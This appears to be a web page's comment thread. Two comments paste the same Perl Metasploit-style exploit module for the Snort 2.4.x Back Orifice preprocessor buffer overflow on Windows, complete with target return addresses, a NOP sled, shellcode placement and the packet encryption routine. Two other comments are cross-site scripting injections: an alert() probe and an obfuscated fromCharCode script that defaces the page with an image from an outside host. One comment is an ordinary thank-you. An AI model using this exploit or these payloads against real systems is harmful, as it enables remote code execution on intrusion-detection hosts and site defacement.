comment from hello
{ 'Name' => 'Snort Back Orifice Preprocessor Overflow', 'Version' => '$Revision: 1.0 $', 'Authors' => [ 'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', ], 'Arch' => ['x86'], 'OS' => ['win32', 'win2000', 'winxp', 'win2003'], 'Priv' => 1, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 53], }, 'Payload' => { 'Space' => 1024, # you can use more spaces 'BadChars' => "\x00", }, 'Description' => Pex::Text::Freeform(qq{ This exploits the buffer overflow in Snort version 2.4.0 to 2.4.2. This particular module is capable of exploiting the bug on x86 Win32, Win2000, WinXP and Win2003. Exploitation in this vulnerability is depend on many factors. Difference in GCC version, compiled option and operating system made diffent technique in exploitation. }), 'Refs' => [ ['URL ', "http://www.securityfocus.com/bid/15131"], ], 'Targets' => [ ["Snort 2.4.2 Binary on Windows XP Professional SP1", 0x77da54d4, (18+1024+1028+1024)], ["Snort 2.4.2 Binary on Windows XP Professional SP2", 0x77daacdb, (18+1024+1028+1024)], ["Snort 2.4.2 Binary on Windows Server 2003 SP1", 0x7d065177, (18+1024+1028+1024)], ["Snort 2.4.2 Binary on Windows Server 2000 SP0", 0x77e33f69, (18+1024+1028+1024)], ["Snort 2.4.2 Binary on Windows 2000 Professional SP0", 0x7850cdef, (18+1024+1028+1024)], ], 'Keys' => ['Snort'], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return ($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; if(! $self->InitNops(128)) { $self->PrintLine("[*] Failed to initialize the NOP module."); return; } my $socket = Msf::Socket::Udp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'LocalPort' => $self->GetVar('CPORT'), ); if($self->IsError) { $self->PrintLine("[*] Error creating socket: " . $socket->GetError); } $self->PrintLine(sprintf("[*] Trying " . $target->[0] . " using return address 0x%.8x....", $target->[1])); my $payload = "*!*QWTY?"; # Magic string: 8 bytes $payload .= pack('V', $target->[2]); # Len: 4 bytes $payload .= "\xed\xac\xef\x0d"; # UDP packet id $payload .= "\x01"; # BO type (PING) $payload .= "\x90" x 1024; # Data $payload .= "\x90" x 1024; # offset to EIP $payload .= pack('V', $target->[1]); # return address $payload .= $shellcode; # our shellcode $payload = bocrypt($payload); # encrypted payload $self->PrintLine("[*] Sending Exploit...."); $socket->Send($payload); } sub bocrypt { my $tmppayload = shift; my @arrpayload = split(//, $tmppayload); my $retpayload; my $c; msrand(31337); foreach $c (@arrpayload) { $retpayload .= chr((ord($c) ^ (mrand()%256))); } return ($retpayload); } sub msrand { $holdrand = shift; } sub mrand { return ((($holdrand = ($holdrand * 214013 + 2531011 & 0xffffffff)) >> 16) & 0x7fff); }

comment from hacker
{ 'Name' => 'Snort Back Orifice Preprocessor Overflow', 'Version' => '$Revision: 1.0 $', 'Authors' => [ 'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', ], 'Arch' => ['x86'], 'OS' => ['win32', 'win2000', 'winxp', 'win2003'], 'Priv' => 1, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 53], }, 'Payload' => { 'Space' => 1024, # you can use more spaces 'BadChars' => "\x00", }, 'Description' => Pex::Text::Freeform(qq{ This exploits the buffer overflow in Snort version 2.4.0 to 2.4.2. This particular module is capable of exploiting the bug on x86 Win32, Win2000, WinXP and Win2003. Exploitation in this vulnerability is depend on many factors. Difference in GCC version, compiled option and operating system made diffent technique in exploitation. }), 'Refs' => [ ['URL ', "http://www.securityfocus.com/bid/15131"], ], 'Targets' => [ ["Snort 2.4.2 Binary on Windows XP Professional SP1", 0x77da54d4, (18+1024+1028+1024)], ["Snort 2.4.2 Binary on Windows XP Professional SP2", 0x77daacdb, (18+1024+1028+1024)], ["Snort 2.4.2 Binary on Windows Server 2003 SP1", 0x7d065177, (18+1024+1028+1024)], ["Snort 2.4.2 Binary on Windows Server 2000 SP0", 0x77e33f69, (18+1024+1028+1024)], ["Snort 2.4.2 Binary on Windows 2000 Professional SP0", 0x7850cdef, (18+1024+1028+1024)], ], 'Keys' => ['Snort'], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return ($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; if(! $self->InitNops(128)) { $self->PrintLine("[*] Failed to initialize the NOP module."); return; } my $socket = Msf::Socket::Udp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'LocalPort' => $self->GetVar('CPORT'), ); if($self->IsError) { $self->PrintLine("[*] Error creating socket: " . $socket->GetError); } $self->PrintLine(sprintf("[*] Trying " . $target->[0] . " using return address 0x%.8x....", $target->[1])); my $payload = "*!*QWTY?"; # Magic string: 8 bytes $payload .= pack('V', $target->[2]); # Len: 4 bytes $payload .= "\xed\xac\xef\x0d"; # UDP packet id $payload .= "\x01"; # BO type (PING) $payload .= "\x90" x 1024; # Data $payload .= "\x90" x 1024; # offset to EIP $payload .= pack('V', $target->[1]); # return address $payload .= $shellcode; # our shellcode $payload = bocrypt($payload); # encrypted payload $self->PrintLine("[*] Sending Exploit...."); $socket->Send($payload); } sub bocrypt { my $tmppayload = shift; my @arrpayload = split(//, $tmppayload); my $retpayload; my $c; msrand(31337); foreach $c (@arrpayload) { $retpayload .= chr((ord($c) ^ (mrand()%256))); } return ($retpayload); } sub msrand { $holdrand = shift; } sub mrand { return ((($holdrand = ($holdrand * 214013 + 2531011 & 0xffffffff)) >> 16) & 0x7fff); }

comment from asd
<script>alert(/asd/)</script>

comment from Shad Sharma
Thanks for the fix. Works great.

comment from dnjkw
">'><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,98,111,100,121,32,98,97,99,107,103,114,111,117,110,100,61,34,104,116,116,112,58,47,47,105,46,122,100,110,101,116,46,99,111,109,47,98,108,111,103,115,47,104,97,99,107,101,100,95,109,101,115,115,97,103,101,46,106,112,103,34,62,39,41,59));</script>

add a comment
name:
website:
email:
comment: